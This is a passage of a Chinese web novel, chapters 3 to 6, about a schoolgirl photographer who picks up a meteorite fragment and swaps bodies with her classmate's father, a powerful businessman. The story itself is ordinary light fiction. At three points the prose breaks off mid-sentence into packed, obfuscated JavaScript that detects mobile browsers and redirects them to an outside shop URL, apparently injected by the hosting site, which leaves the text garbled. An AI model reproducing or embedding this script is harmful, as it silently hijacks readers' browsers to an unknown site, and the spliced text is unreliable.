《晨星挽月彰》 3. 我是你爹 是她创号以来都不曾有过的热闹。 李雀影在一旁看了一眼:“——!” 阮陨星划拉着手机,也有些惊叹:“这泼天的流量,居然给我接到了。” 不到一个小时,她发出的那条火球9图已经被顶到了热门,下方各种各样的都有,有询问地点的,有许愿的,有问有没有更多照片的,甚至还有交友和引流号。 但是可以肯定的是,这颗陨石,落在景区是无疑了。 下面第一条评论:“这么近?坠落地点不就在前面!?” 紧接着有人歪了方向:“在线出售新鲜陨石,99新,不刀。” 下方一排的跟楼: “你的ip出卖了你。” “收陨石碎片,10元一个。” “这算盘珠子我在s市都听见了,我出100块。” “我出101!” 她点开私聊,大部分都是问她现场情况的,但是用词之直接,态度之无礼,看的阮陨星忍不住撇嘴。 不过其中的一个用户引起了她的注意:“你好博主,你还有现场的更多消息吗?可以付费,如果有陨石的消息价格好说。” 她点开对方主页,是一个收藏各种各样的东西的用户,看着颇有资产。 大概是消息已读被对方看见,他发了一连串的追问消息过来。 阮陨星想了想,回复他:“我没有更多消息。” “你现在在后山吗,帮我拍一下现场图片,有偿。” “我已经下山了,不好意思。” 阮陨星退出聊天界面,跟李雀影有一搭没一搭聊天:“咱们那块陨石怎么办呢?” “我看看。” 李雀影偷偷摸摸地从书包缝隙瞄了几眼,跟看什么了不得的宝贝一眼,她还摸了摸:“好凉,这肯定是金属的,我看了下科普,这种颜色里面多半有铁,铁陨石,好酷。” 阮陨星问:“这陨石怎么办?” 李雀影在这些事情上,承她那个喜欢鼓捣来鼓捣去的老爸耳濡目染,想了想,道:“先放你家吧,等明天我去你家仔细看看,你作业写完了吗?” 阮陨星道:“差几张。” “那明天一起,我带卷子去。” 两人叽叽哇哇,皮试没问题之后正式打针,又坐了半个小时,两人便背着包出了医疗点。 外面的人很多,阮陨星拉着没什么方向感的李雀影往正门走去,景区大门这个时候被栏杆拦了起来,不让看热闹的车辆无序进入,两人从一侧的游客出口出去,没走几步,一辆极其气派的加长轿车停在门口——她认不出牌子,但本能觉得一定很贵。 车门无声滑开,阮陨星看到司机跟电视剧里演的一样走到后座开门伸手护着车顶,紧接着一个贵气沉稳的中年男人从车内出来,在众人的簇拥下走向入口。 他注意到阮陨星两人,并不在意。 阮陨星道:“你觉不觉得这个人好眼熟?” 李雀影压抑住激动:“当然了,我爸可喜欢八卦、哦不是、是聊他了,我们市的大企业家,裴彰就是他儿子啊,你不知道吗?” 阮陨星:“……”她一心扑在自己的爱好上,对这种事情着实不太懂。 不过,裴彰? 她咂摸着父子两人的眉眼,发现果然是有迹可循。 不过这位裴总一看就很威严,他注意到阮陨星的视线,扫了一眼过来。 阮陨星只觉得周身气压低了下去,她心想好经典的一款霸总,可惜年纪不对,霸总已经过了爱恨情仇的年龄了。 这边李雀影还在道:“不过他为什么过来……哦,我记起来了,这景区好像是他家的……” “过来处理陨石事情的?”阮陨星猜测,两人嘀嘀咕咕坐上回去的大巴,李雀影一路上偷偷摸摸地看那块宝贝。 到了站台后,李雀影道:“明天见了。” 阮陨星嘱咐:“记得忌口,有事滴滴我。” “好啦知道啦。”李雀影一瘸一拐进了地铁,阮陨星按了按包里的陨石,打道回府。 陨石的热度在不断发酵,阮陨星后台的消息源源不断,她看了一下,自己的粉丝涨了好几万,之前发在账号上的照片也有被翻到点赞,有真情实意夸她照片拍得很不错的。 顿时就跟打了鸡血一样满足极了。 此外,她还翻到了不少媒体后台发给自己的消息,都是要有偿购买现场视频及照片,阮陨星为了不惹上麻烦,在这个风口浪尖上没理。 外婆还没回来,桌上有外婆打包好的菜,阮陨星吃过饭后,把相册里的照片整理出来,又整理了一下房间,这时候班群里已经讨论开了,李雀影水群水得正欢,不过倒是对阮陨星的提醒贯彻得很严格,没透露出两人捡到了陨石碎片。 正看着群内的消息,突然一个收假值日排班表跳了出来,李雀影一看,收假当晚是自己值日,这意味着自己需要提前半天去学校,这对于从来都是踩点收假的她来说简直是酷刑。 她看了一眼发布人。 裴彰? 哦,这家伙是名义上的学习委员,但是一般他不怎么管这些闲事,都是班长安排,怎么今天有时间管了? 阮陨星没多想,在班级里发:“收假当天我有事不能去值日,跟谁换换?” “大佬,有什么安排?” “今天你跟李雀影去景区了对不,看到陨石了吗?” 下面有人附和,阮陨星人缘一向不错,嘻嘻哈哈回了,也有个叫黎凝的同学愿意跟她换。 阮陨星于是去私聊裴彰:“我跟黎凝换值日。” 裴彰:“不行。” 阮陨星:“为什么?” “班主任看过了。” “她看过又不是不能改。”阮陨星觉得这个拒绝的理由毫无道理。 裴彰则扔过来一句:“那你跟她说。” 额…… 阮陨星突然卡住了,班主任分班以来因为她屡次不求上进而且老惹出问题对她印象那叫一个差,如果有机会能让她提前来学校相比她不会拒绝。 阮陨星手指一点,发了个可爱的表情包过去。 裴彰:“?” 阮陨星道:“你跟她说说?” 裴彰的回答十分果决冷酷:“不。” “……” 阮陨星总觉得他是故意的。 她道:“那天我是真有事。” 裴彰道:“忙着去拍帅哥美女?” 阮陨星大惊:“你怎么知道?” 她的确约其他学校的帅哥美女拍摄,还跟李雀影说自己很期待来着。 裴彰不答,阮陨星合理怀疑:“你是不是偷听我们?还是视奸?” “我没那么无聊。”裴彰冷冷一句:“值日表定了,除非班主任改?” 阮陨星之后怎么滴他都不说话,她怀疑裴彰开了免打扰,自己再怎么撒泼都没用。 她心底暗恨,总觉得这小子莫名其妙针对自己,别是因为上次那件事?都说好了过去了他居然还那么记仇,小心眼子。 阮陨星打算在后面几天的假期解决这件事,至于裴彰,她狠狠地给他记上一笔, 一天奔波,睡意袭来得尤其猛烈,阮陨星跟李雀影吐槽了一会儿裴彰,聊着聊着便沉沉睡去。 —————— “嘟嘟嘟嘟、嘟嘟嘟嘟——” 熟悉的闹铃响起,阮陨星痛苦地伸出手,摸索着手机的位置。 听起来声音离得有点远,闹铃阴魂不散,她强撑着身体起身,掀开被子,寻找声源。 “明明没设闹铃来着……”她鼓囊道。 起身,环顾。 突然愣住。 这是哪里? 很低调且有设计感的房间,但也很陌生。 绝对不是她的。 阮陨星惊得连闹铃声都忽略了。 她蹭一下站起来。 随即发现陌生的似乎不仅房间,还有她的身体。 一种错配的感觉涌上心头,强烈的不适应感让她下意识撑住栏杆,却发现自己正在指挥的是一只男人的手。 “别吧……”一向身体比意识先行动,环顾四周找到卫生间,打开,迈入。 光洁明亮的镜子映照出一张男人的脸。 非常陌生,无比古怪。 但是又有一点熟悉。 阮陨星脑子里转圜了好一会儿,从昨天下午的记忆中找到了身份。 “裴彰他爸?” 镜中成熟贵气的脸露出不可置信的表情。 阮陨星深呼吸了一口气,回到床上,软到在床边。 “这怎么回事?怎么回事?” 阮陨星回顾过自己看的那些文艺作品,随后抓住一个重点:“裴彰他爸去哪里了?” 她自己的身体又怎么样? 阮陨星想也不想,立刻拿起床头的手机,好在手机是面容识别,毫无阻碍地解锁。 然后聊天界面的消息印入眼中。 不得不说霸总社交圈的含金量就是高,这么扫一眼,不是这个董事就是那个经理,不然就是投资人。 这就是霸总的世界吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719794|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阮陨星很自觉地没多看,扫了一眼就直接退出,打开通话。 拨出自己号码的感觉有点奇妙。 二十几秒过去了,电话没通,阮陨星心里觉得有些担忧。 别不是魂换过来了,肉身还是空的,那会变成什么?植物人。 唉那阮春玲女士岂不是担心死了。 想到这里她才有些忐忑。 不过很快,电话就被接通了,对面的声音即熟悉又陌生:“喂?” 这语气就是不一样。 阮陨星斟酌片刻,道:“裴总?” 对面沉默了足足有半分钟之久,要不是还有呼吸声在阮陨星都以为对方撅过去了。 但霸总就是霸总,半分钟后,反应过来:“你现在在我身体里?” 阮陨星道:“应该是。” “嗯,这个、这个……”她试图解释。 对面没给她机会,下命令道:“我现在过去,你呆着别动。” 说完,她听到对面翻找东西的声音,对方边翻边问:“你的钥匙在哪里?” “哦,在那个粉色玩偶包里。”阮陨星听见自己用醇厚的嗓音回答着与声音气质极其不符合的语句。 她说完,听到对面顿了一下,才道:“这个兔子的?” “那不是兔子,是羊驼。”阮陨星纠正。 “……” 对面顿了片刻,挂断电话。 阮陨星愣愣地坐在床上,等了一会儿,突然有人来敲门口。 她打开一看,根据来人的服饰很快推测出了对方的身份——大概是管家。 “裴先生,今早的会议需要八点到公司。” 这怎么应付,刚才裴总也没说呀。 阮陨星学着刚才对话对面的果断语气:“今早的安排取消。” 管家一愣。 阮陨星犹豫着自己要不要追加解释,但管家已经道:“好,我这边联络您的秘书。” 阮陨星松了一口气。 管家又道:“早餐已经做好,就在楼下?” 阮陨星拿着款道:“我等会下去。” 管家诧异地看了她一眼,阮陨星面无表情地关上门。 她这才有空打量这间卧室的环境,房间极大,连同着衣帽间,书房,设计繁复华丽,光线精心妆点,每一处都是能拍出杂志图的讲究摆设,甚至比杂志上的摆设更具美感。 床很大,墨绿色的真丝被褥在暖色环境光下泛出一种极其柔和的光泽,阮陨星新奇地看着,可让她睡上去,还是觉得有些奇怪,于是在书房找了一把椅子坐下来。 这么坐着,又有点无聊,于是她视线不由自主地投向眼前的文件。 结果一看就是某某招标计划书,某某投资合约,某某收购协议,以及一系列财务报表,阮陨星很怀疑自己如果看了会被当成商业间谍。 她百无聊赖,终于想到要洗漱一番。 卫生间的东西她都觉得奇怪,没有动,十分粗糙地洗漱之后,她悄悄打开房门。 这一层似乎只有裴彰他爸自己住,她慢步走下楼梯,走过健身房和家庭影院,然后看见裴彰打开房间门,穿着一身白T恤和运动裤,走了出来。 看见阮陨星,他有些意外,但还是打了声招呼:“爸。” “嗯。”阮陨星现在有一种特工掩护自己身份的感觉,威严地点点头,继续向下走了。 裴彰慢慢地跟在后面。 下到一楼,她左右看了看,右边是饭厅,一张长桌,已经摆好早餐。 她肚子正饿得咕咕叫,走过去,拉开椅子,毫不客气地吃起来。 顾不上欣赏面前早餐的精致,她快速填饱肚子,接着下定决心,拿出手机,打开搜索框。 搜索:裴氏集团。 快速掠过前面的介绍,她的目光锁定在裴彰他爸的资料上。 “裴粟与……” 原来叫这个名字,跟本人气质真是不相符。 阮陨星拿着手机,端着姿势面无表情地玩着,结果看到裴总裁与女明星风流二三事。 她一下子没崩住,感慨了一下:“我靠……” 随后察觉到不对劲,便习惯性抬头平复心情,这一抬头,就觉得饭厅有些安静。 她垂眼一看,看见裴彰正静静地看着自己。 往时班级里时时保持平静的神情,很明显出现了一丝裂痕。 真是非常地让人意外,又很新鲜。 阮陨星突然想到自己现在的身份。 是裴彰他爹。 正正宗宗的爹。 4. 乱糟糟 “儿子,过来吃饭。”她正襟危坐,招手。 裴彰在她的注视下走过来,跟她隔了一个位置坐下,低着头一言不发,乖乖吃饭。 阮陨星心底有种诡异的爽感。 ——原来给人当爹是这种感觉。 她毫不客气地开口:“在学校的生活怎么样?” 裴彰咽下一口牛奶滑蛋,扭头不着痕迹地在“父亲”身上扫了一下,回答:“还好。” “跟班级里的同学相处怎么样?”阮陨星又问。 “都行。”裴彰语气一如既往的冷淡。 阮陨星想到昨天他针对自己,又看着这人一副死人样,再联想到坊间各种八卦,于是心头窜上一个主意:“有没有喜欢的女生?” 裴彰停下筷子,抬头,直勾勾地看着她。 阮陨星轻咳两声:“怎么?” 裴彰直问:“你是谁?” 阮陨星愣住,顿时有种被抓包的感觉。 但她眨眼间就反应过来,若无其事地道:“怎么会这么问?最近学习学累了?” 裴彰只是看着她,不说话。 李雀影曾经说过,被裴彰冷冷地看着的时候就跟被冰钩勾住一样,定在原地动弹不得。 而且压力很大。 据说他就是靠这副眼神逼退了校长让他参加演讲比赛等各种乱七八糟比赛的要求。 阮陨星神情自若回过头,给了对方一个微笑,顶着对方的眼神把桌上的牛奶拿起来,慢悠悠地喝着,手里则快速地检索着关于裴家的情况。 裴彰打量片刻,居然也没说什么,继续吃起来。 手机里不断弹出各种消息,包括但不限于秘书的行程提醒,各部门经理的情况汇报,董事会成员的决策和沟通,阮陨星看得眼花,搜索了好几个关键词,把裴总的总助搜出来,翻看了一下记录,然后发过去一条消息—— “今天早上所有安排取消。” 对方回的那叫一个迅速,问也不问原因,而是道:“需要更换为其他安排吗?” “不。”她模仿着裴总的语气发过去一个冷酷的字,顿觉格调拉满。 原来当总裁是这种感觉。 阮陨星顺手点了一下霸总的钱包。 然后被余额闪瞎了眼。 这么多钱……都能把自己想要的镜头买一整套了…… 不愧是霸总…… 阮陨星遗憾地看一眼零钱数额,控制着自己的心思回到聊天界面。 跟秘书沟通几句后,她发现裴彰已经吃完了饭,正站起身准备走开。 “洗碗去。”她道。 裴彰停了一下,扭过头,不可思议地看着她。 阮陨星知道等会自己身份就会暴露,趁现在裴彰摸不清虚实多磋磨他,好报自己昨日换班失败之仇。 她一扬下巴,指使:“洗碗。” 裴彰深深看了她一眼,皱着眉,起身,吸了一口气。 然后熟练地把碗筷进厨房。 这时候,手里的电话打了进来。 阮陨星接起:“喂?” 她听到自己的声音在对面响起:“让门卫开门。” 霸总干脆利落挂了电话,阮陨星自己不会,指使正在擦手的裴彰:“儿子,叫门卫开门让客人进来。” “谁?”裴彰冷冷地道。 阮陨星扯起一边嘴角,酷酷道:“你不用知道。” 趁着裴彰走开,她举起手机屏幕照了一下。 很标准的霸总笑容,不错。 ———— 通知小区门卫将人放进来之后,裴彰一直等在门口。 他脸上阴晴不定,视线时不时扫向身后的饭厅。 过了片刻,道路尽头走来一个高挑的身影。 看步态,似乎是个女生。 但……有些奇怪。 他皱着眉头等在原地。 客人逐渐近了,对方的脸清晰起来。 裴彰的眉头抽了一下。 女孩走到近前,瞥了他一眼,直接走向门口。 他伸手拦住:“你来干什么?” 少女的细眉压下,不悦地喊道:“裴彰。” 这个语气过于熟悉以至于裴彰一时间没有反应过来。 少女顶着他熟悉的那张脸绕开他的手,径直走进了大厅。 裴彰足足愣了十几秒,反身疾步跑进家里,正好看到对方左右打量。 见着他,少女问:“她呢?” 裴彰抿了一下唇,指了指饭厅。 少女大步迈开,走进厅内。 阮陨星靠在椅子上,头搭着靠背,百无聊赖地打量头顶的装潢。 她看见占据了自己身体的裴总进来,便站起来:“你总算来了!” 裴彰走进饭厅,眼神在两人间用游移。 少女眼神极为凌厉地打量一番,然后伸手:“手机。” “哦。”阮陨星递过去。 少女几下输入密码,操作起来。 阮陨星问:“我的手机呢?” 对方把手里的兔子包包丢过去:“里面。” 阮陨星点开一看,哀嚎:“啊啊啊你是打车过来的吗?” 裴粟与顿了顿,冷酷地道:“打开付款码。” “嗯?”阮陨星瞪大眼睛。 霸总一手拿一个手机,操作几下,就把手机还给了阮陨星。 阮陨星拿过来一看,倒抽一口凉气。 这何止是打车钱,打几十趟车都够了。 裴粟与自顾自走出饭厅,扔下一句:“安排车,去医院体检。” 霸总走到了外面,剩下饭厅里阮陨星和裴彰。 阮陨星本来就不指望能瞒裴彰多久,她耸耸肩,往外走。 “你怎么办到的?”裴彰的声音在背后响起。 “嗯?”阮陨星疑惑。 裴彰:“互换身体这种事情,以现有技术手段办不到吧。” 阮陨星朝他翻了个白眼:“我要是知道,我还读高中么?” 话说回来,互换身体这种事情也太不可思议了,阮陨星相信是未知的力量,但问题是,怎么导致的? 她和这位裴总交集也就是昨天,在景区远远对视过一眼。 但光靠对视肯定不可能。 阮陨星琢磨起来。 她走到客厅,裴彰几乎是寸步不离地跟在她身后。 瞧着这人就算遇上自己爹跟同龄女孩互换身体这种事情也一副死人样,比她这个当事人还淡定,她也算是佩服。 “守得那么紧干什么,我又不会逃。”她吐槽,扁了扁嘴。 裴彰瞧见她顶着如今的身体做出这幅表情,脸色明显扭曲了一下,退了两步。 “你……表情正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719795|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常点。”他硬邦邦地开口道。 原来受不住这个? 阮陨星摸摸自己的脸皮,觉得自己靠恶心就可以把裴彰恶心出五十米外。 她撅起嘴,跟李雀影撒娇似的道:“不好意思,习惯了嘛。” 裴彰猛地扭过脸,捏紧了拳头。 阮陨星满意一笑,大步迈出去。 霸总站在大门外,身姿板正得跟军人有得一拼,阮陨星从来不知道自己那单薄的身躯居然可以站出挺拔如松的效果。 阮陨星走过去,低头看着自己乱糟糟的脑袋,道:“这么站着不累吗裴总,我只是一个天真可爱的女高中生,不是特种兵。” 霸总缓缓扭头看她一眼,似乎想说什么,忍住了。 大门外,加长豪车缓缓泊入门廊。 管家赶来,看见“阮陨星”,略有些惊讶,但似乎不陌生。 他转向今天早上各种异常的“裴总。” “医院那边已经预约好了。” “走。”出声的是女声。 管家一愣,看向“裴总。” “走。”阮陨星照猫画虎。 “从今天起,由我全权为裴总安排事宜。”少女继续道。 管家眼神顿时怀疑起来。 面对管家在两人间惊疑不定的眼神,阮陨星庄严地点点头:“没错,就这样。” 霸总迈步踏进车内,随后,阮陨星和裴彰也紧随而入。 霸总拿着自己的手机飞快地处理消息,过了一会儿伸过来。 阮陨星拿回手机,没拿动。 阮陨星:? 霸总高冷地道:“按指纹。” “噢。”阮陨星伸出大拇指按了一下。 然后呆呆坐在原地。 说实话对于互换身体这种奇幻事情,她到现在还是懵的。 首先想的是怎么跟外婆解释,然后想到以后上学怎么办?怎么生活,难道就顶着这么一副身体生活下去吗?虽然变成了霸总,但是她更想要自己原本十七岁朝气蓬勃的身体啊啊啊啊啊—— 她扑到在抱枕上,刚才戏弄裴彰的兴致全没了。 裴彰默默地看着她把自己埋进枕头里,又看着正在用心处理事务的父亲一眼。 他问:“还能恢复吗?” “阮陨星”挑挑眉:“我不是医生。” 霸总看着正在捶打抱枕的“自己”,额头抽了抽,出声道:“你沉稳一点。” 阮陨星猛地抬起头:“这怎么沉稳!一想到以后就要用这副大爷的身体生活,我就烦死了!!!” “大爷?”裴总的脸色顿时黑成锅底。 阮陨星:“额……” 没等她开口,霸总很快恢复平静脸色,情绪管理能力之强,不禁让人赞叹不愧是集团掌舵人。 “只要不是死了,一切都不是大事。”霸总淡淡地道。 阮陨星反身面对窗口,一副不想听的模样。 这个时候,她口袋里的手机振动起来,她从丝滑的真丝睡衣口袋里掏出手机,点开一看。 是李雀影,发来一个“亲亲”表情。 李雀影:“小陨陨醒了吗,我准备去你家啦!” “来我家?”阮陨星思索了一会儿,才从脑海里翻出来昨天两人分别的约定。 当时时间已晚,李雀影约定明天来自己家仔细看看陨石。 5. 全面检查 但是现在这情形…… 阮陨星叹了口气,发送过去一条消息:“雀宝我临时有点事情,今天得忙着。” 对面沉默了一会儿,然后电话就打了过来。 阮陨星下意识点了接听。 阮陨星:“喂?” 李雀影的声音从对面传来:“呃——你好?这是小陨的电话吗,我找她。” 该死忘记自己现在的身份了! 阮陨星默默打了自己一巴掌,然后递过去给霸总,示意。 裴总挤出一句话:“怎么了?” 他顺手点了扬声器。 于是李雀影的哭嚎响彻车内:“呜呜呜呜小陨好可惜,好想快点看到陨石啊!!你什么时候忙完我们马上约!!!" “陨石?”裴粟与若有深意地看了阮陨星一眼。 裴彰也扭头看过来。 李雀影理所应当地道:“对呀不是昨天给你保管了吗?难道丢了!??” 说到后来,话语里带了惊恐。 阮陨星连忙比划,试图让裴总明白自己的意思。 霸总淡淡地道:“没丢,回头再说。” 李雀影顿了一下,嚎得更大声了:“小陨你怎么这么冷酷,你不爱我了吗,你始乱终弃!!” 裴粟与的嘴角抖了一下,抬头幽幽地看着她。 他把手机伸过来一副不管的样子。 阮陨星焦头烂额,情急之下道:“呃你好同学,阮同学正在参加我们这边举办的一个摄影活动,嗯,目前不方便接电话。” “啊是吗?”李雀影将信将疑。 霸总配合了她的谎言:“没错,准备挂了。” 李雀影迷迷糊糊地道:“怎么没听你提起过……好可疑,什么活动连电话都不能接。” 没等她再说,霸总已经挂断了电话。 车内空间一时安静下来,裴彰冷冷地吐槽:“好拙劣的谎言。” 阮陨星没了跟他呛的心思,扶额道:“先混过去再说吧……” 她把自己手机递到霸总嘴边:“发个语音再解释一下。” 裴粟与:“?” 你们两父子这副不屑发问的表情还真是一致…… 阮陨星竖起一根手指:“别怪我没提醒你,我这个同桌被害妄想症严重,激动起来会报警的。” 她看着对面的“阮陨星”发出一声不屑的冷笑。 阮陨星叹了一口气,开始思考等会怎么蒙混过关。 最终霸总还是拿过她手机,按下语音:“我确实在参加活动,回头联系。” “hu——”一条语音进来:“好吧雀宝,等你参赛完了再说,我先写作业。” “你捡到陨石?”裴粟与开口问。 阮陨星把来龙去脉解释过后,他又道:“那块陨石要进行检查。” 阮陨星警惕地道:“检查完我可以拿回去吧?” “如果没问题,可以。”裴粟与舒舒服服地靠在座椅上回消息,头也不抬地道。 没等阮陨星开心,裴彰道:“昨天在景区找到了不少陨石碎片吧?” 裴粟与:“在研究所,我已经让人检查了。” 啧,霸总做事,就是滴水不漏。 三人以一人近距离观看霸总工作状态,一人沉浸式工作,一人低头玩手机度过剩下路程。 车辆径直驶入医院的地下vip车库,从车上下来的时候,有一个白大褂的中年医生等在电梯口。 “裴总。”那一声哦对着阮陨星微微欠身。 阮陨星也对着对方鞠躬:“您好医生。” 医生愣了一下。 裴粟与越过两人走进电梯,当先站定,对着外面几人道:“快点。” 医生眼看着裴氏父子在少女近乎命令的口气下乖乖进入电梯,顿时心里涌起种种猜测。 良好的职业素养和专业的服务态度让他走进电梯后眼观鼻鼻观心,实际心里早把少女的身份揣摩了八百遍。 是大人物的后代?还是裴氏集团的重要人物?能用这种口气命令这对父子,一定不是一般人。 出了电梯后,医生带着几个护士到几人跟前。 “裴总,您是和小裴总一起做检查吗?” 阮陨星倒也是进入了状态,指了指自己和裴粟与:“我和他。” 医生没有任何迟疑:“好,我们先抽血化验。” 他带来的护士技术极好,抽血几乎没有感觉,阮陨星心想跟自己以前去医院遇到扎错好几次的实习护士完全不是一个水平,有钱人吃得真好。 一系列的检查后几人坐在贵宾休息室等待结果,阮陨星终于忍不住发出疑问:“不是裴彰你一直在这里干什么?” 裴彰淡淡地道:“好奇。” “平常在教室怎么不见你这么八卦。”阮陨星翻了个白眼,又想起一件事。 “对了,你帮我换值日啊!我现在这样,怎么好上课。” 裴彰玩着手机头也不抬:“你现在这样休学还差不多。” 阮陨星一听头摇得拨浪鼓样,断然道:“不可能,绝对不可能。” 她都能想到外婆在她一众街坊间谈天说地时落败的狼狈模样。 ——孙女怎么不读书啊?哎呦是不是读不下?别是连大专也没考上吧。 ——哎春玲啊,早说了这孩子爹妈都不在就靠你管,太溺爱了也不好,你看现在怎么办,读不了书成废人了吧? 不能忍。 阮陨星虽然不是很在意功课学业,但是多少是想读大学的,作为一个积极向上的好少年,考试读书的观念已经深深刻进她骨髓里。 “发几张你参赛的照片。”这时候裴霸总淡淡地道。 “照片?什么照片?”阮陨星摸不着头脑。 “不是你自己说的在参加比赛?” 霸总递过来一个界面,上面是一张海报——“山河盛影”摄影大赛,由裴氏集团倾情赞助,参赛者需携参赛作品进行创作理念讲解,并现场由专家进行评审。 “日期会改成前段时间,挂在集团官网上,其他一切事情,会有人处理好。”裴总淡淡地道。 风轻云淡地就把阮陨星用来搪塞的借口变成了现实。 阮陨星竖起一个大拇指,把照片发了过去,然后满怀期待地问:“我能得奖吗?” 对面的霸总道:“理论上来说,现在整个裴氏集团都是你的。” 阮陨星捂住自己心口长吸一口气:“别说,再说我就忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719796|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯罪了。” 她瞥到旁边坐着只顾玩游戏的的裴彰,拿肘子撞了他一下:“小小年纪不要只顾玩手机,作业写了吗?” 裴彰手上的角色释放技能失误,抬起头狠狠道:“当爹有瘾了是吧?” 裴粟与目光在两人间游移片刻,然后问:“你们很熟吗?” “对啊!” “不熟!” 两个截然相反的回答。 阮陨星笑嘻嘻补充:“同伴同学也算熟吧。” 裴彰继续打游戏,阮陨星闲着无聊打开自己账号后台,一一看过,目前平台上关于昨天陨石的消息已经更换了一轮。 阮陨星看到景区负责人一本正经地对着媒体表示陨石降落在后山区域,没有造成任何人员伤亡,目前陨石降落所造成的影响景区正在积极修复。 划拉几下,又看见有人在讨论陨石猎人。 陨石猎人顾名思义就是寻找陨石的人,分散在全国各地,有了陨石落地的消息后就会根据自身需求和价值判断前去寻找。 她点进最火热的消息,看下面的评论。 ——听说本市的猎人已经出发了。 ——景区不是不开门么。 ——从后山野路绕过去吧,这条路线经常用有徒步者走,不算危险。 ——我有个在景区工作的亲戚,说昨天集团老总亲自来,坐镇到晚上,运了好多设备上去,把陨石碎片都捡完了。 有人不信。 ——他们能在这么短时间就找齐? ——肯定有漏网之鱼吧。 ——最新消息,那片地方已经被彻底封锁起来了,就两三个小时前,来了好多人拿着仪器在搜索碎片。 ——这么下血本,难道那陨石碎片很值钱? 众说纷纭。 阮陨星看了一会儿,看得眼花,便找了自己喜欢的摄影家作品欣赏起来。 门铃在寂静的空间内响起。 “这么快!?”阮陨星为这医院的效率吃了一惊。 “裴总您好,检查结果已经出来,您请看。”先前的医生走进来,递过来几张检查单。 “您身体整体上没有问题,这几项指标略有波动,大概是熬夜太多,需要注意休息。”医生指着一项项指标进行解释,阮陨星听不太懂,只好闭口不言,必要时候“嗯”一声。 医生说完,抽出下面的一沓检查单,对着“阮陨星”脸色一变。 阮陨星心底顿时咯噔一下。 不会吧,不会有什么事情吧? 她风华正茂的年纪,别检查出来什么疑难杂症啊啊啊啊。 医生走到少女身边,顿了一下,才开口道:“这位……阮小姐。” “说重点。”少女不耐烦地道。 医生轻咳一声,点出重点的几项指标:“从这几项指标来看,肝功能负担比较重啊,是不是经常熬夜通宵,胡吃海塞?” “胃也有问题,有些轻微的胃溃疡,这么年轻就有,饮食太不注意了。还有免疫系统……” 接下来就是注意的问题,总而言之,阮陨星处于一种亚健康的状态,按医生的话来说,身体状态连裴粟与都比不上。 裴粟与闻言,眼神落到了阮陨星身上。 6. 换回来了? 阮陨星干咳两声,心想人家霸总那是什么条件,营养师健身教练伺候着,时不时来一个私人邀约VIP尊享体检套餐,想亚健康都难。 而她因为早产,从小身体就不好,加上自己对一样东西上了头就没日没夜地钻研,顾不上其他,虽然有阮春玲女士的百般调养,但底子太薄,这些小问题多少带了些。 这次体检算是给她深度检查了一遍,阮陨星倒是没太多心理负担,只要不是那种重大疾病她倒是无所谓,从小就这么着过来了,哪怕调养好了这项,另外一边又出问题。 所幸都是小毛病,不妨碍她活蹦乱跳。 阮陨星咳完道:“这不挺好。” 医生听着话有些迷茫,裴粟与岔开话题:“除了这些没有其他?” “没有了,虽然是小问题但是阮小姐你也需要注意,比如——” 裴粟与打断医生的叮嘱:“神经方面呢?特别是脑?” “根据刚才深度扫描的结果来看,没有。” “是吗?”裴粟与皱起眉头,医生却误会错了意思:“当然,阮小姐我们用的是最新的扫描仪,精度绝对是国际一流的,从扫描结果上看,您的大脑没有任何问题。” “哦。”裴粟与说完,又坐了回去,开始鼓捣手机。 医生突然被晾在原地,有些迷茫。 没多久裴霸总又站起来:“走。” 阮陨星主打一个听话,起来跟着霸总走出去,然后到了卫生间,她看见霸总突然停住脚步。 不会吧? 阮陨星心头浮起一种诡秘的预感。 霸总选男厕所还是女厕所? 裴粟与抬起脚步,半点不带犹豫地走向—— 残障卫生间。 真有你的。 阮陨星眼看霸总就要走入里面,忍不住叫了一声。 “哎!” 她心情很复杂,一种难言的尴尬混合着诡异的体验感像蝴蝶一样在胃里搅来搅去,但裴彰和他爸都显得很淡定,她也就不想咋咋呼呼,不然总觉得在裴彰还有霸总这个见惯风浪的大人面前丢了面子,这就是所谓的好面儿。 裴彰他爸手搭在把手上,扭头过来,那意思很明显:“?” 她无力地举起手招呼了一下:“没事。” 霸总头也不回地进去了。 裴彰靠墙站在一旁,一手插口袋一手玩手机,很无所谓的样子。 阮陨星站立不安,侧耳听着卫生间的动静,反应过来又觉得自己很猥琐,心态实在纠结。 好在没多久裴粟与就出来了,三人一起下到停车场,司机早已开到电梯口前等待,门化开,阮陨星跟着上车,坐下后车子启动驶出地库。 “我们接下来怎么办?”阮陨星问。 “去你家。”裴粟与道。 要是撞上外婆怎么办?怎么解释? 阮陨星下意识就拒绝。 “我们必须收集一切有可能造成互换的因素,你应该知道,也包括你捡的陨石,需要送去研究所检查。” 好吧,不无道理。 